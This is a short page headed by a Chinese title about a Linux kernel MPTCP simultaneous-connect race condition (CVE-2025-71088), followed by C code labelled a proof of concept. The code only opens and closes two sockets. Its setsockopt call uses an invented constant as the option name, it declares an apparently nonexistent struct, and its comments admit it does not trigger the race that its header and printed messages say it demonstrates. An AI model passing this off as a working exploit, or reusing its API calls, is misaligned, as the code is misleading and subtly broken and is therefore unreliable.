CVE-2025-71088: Linux内核MPTCP simult-connect竞态条件漏洞

// CVE-2025-71088 PoC - MPTCP simult-connect race condition // This PoC demonstrates the race condition in MPTCP fallback handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <linux/mptcp.h> #define MPTCP_PATH_MANAGER 2 // Use in-kernel path manager void trigger_race_condition() { int sock_fd1, sock_fd2; struct mptcp_meta_info meta1, meta2; // Create two MPTCP sockets sock_fd1 = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP); sock_fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_MPTCP); if (sock_fd1 < 0 || sock_fd2 < 0) { perror("socket creation failed"); return; } // Set MPTCP options to enable multipath int optval = MPTCP_PATH_MANAGER; setsockopt(sock_fd1, SOL_MPTCP, MPTCP_PATH_MANAGER, &optval, sizeof(optval)); setsockopt(sock_fd2, SOL_MPTCP, MPTCP_PATH_MANAGER, &optval, sizeof(optval)); // Note: This PoC requires specific kernel configuration and network setup // The actual race condition is triggered through specific TCP state transitions // that occur during simultaneous MPTCP connection establishment. // // Real exploitation requires: // 1. Two hosts establishing simultaneous MPTCP connections // 2. Specific timing to trigger the FIN_WAIT1 state transition // 3. SYN-ACK packet arriving after state change // // See kernel commit references for the actual fix: // - 25f1ae942c097b7ae4ce5c2b9c6fefb8e3672b86 // - 71154bbe49423128c1c8577b6576de1ed6836830 close(sock_fd1); close(sock_fd2); } int main() { printf("CVE-2025-71088 PoC - MPTCP simult-connect race\n"); printf("This vulnerability allows bypassing MPTCP fallback check\n"); printf("Through TCP_FIN_WAIT1 state transition race condition\n"); trigger_race_condition(); return 0; }